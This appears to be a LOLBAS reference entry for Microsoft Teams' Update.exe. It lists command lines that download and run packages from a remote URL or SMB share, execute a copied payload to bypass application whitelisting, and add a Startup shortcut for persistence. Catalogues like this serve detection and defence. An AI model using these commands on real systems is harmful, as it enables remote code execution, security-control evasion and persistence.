🪟 LOLBAS / Update.exe

Update.exe

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Paths

  • C:\Users\<username>\AppData\Local\Microsoft\Teams\update.exe

Commands

Download

The above binary will go to url and look for RELEASES file and download the nuget package.

Use case: Download binary

Privileges: User

Update.exe --download {REMOTEURL}

AWL Bypass

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use case: Download and execute binary

Privileges: User

Update.exe --update={REMOTEURL}

Execute

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use case: Download and execute binary

Privileges: User

Update.exe --update={REMOTEURL}

AWL Bypass

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use case: Download and execute binary

Privileges: User

Update.exe --update={PATH_SMB:folder}

Execute

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use case: Download and execute binary

Privileges: User

Update.exe --update={PATH_SMB:folder}

AWL Bypass

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use case: Download and execute binary

Privileges: User

Update.exe --updateRollback={REMOTEURL}

Execute

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use case: Download and execute binary

Privileges: User

Update.exe --updateRollback={REMOTEURL}

AWL Bypass

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

Use case: Application Whitelisting Bypass

Privileges: User

Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"

AWL Bypass

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use case: Download and execute binary

Privileges: User

Update.exe --updateRollback={PATH_SMB:folder}

Execute

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use case: Download and execute binary

Privileges: User

Update.exe --updateRollback={PATH_SMB:folder}

Execute

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

Use case: Execute binary

Privileges: User

Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"

Execute

Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.

Use case: Execute binary

Privileges: User

Update.exe --createShortcut={PATH:.exe} -l=Startup

Execute

Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.

Use case: Execute binary

Privileges: User

Update.exe --removeShortcut={PATH:.exe}-l=Startup

Detection

Resources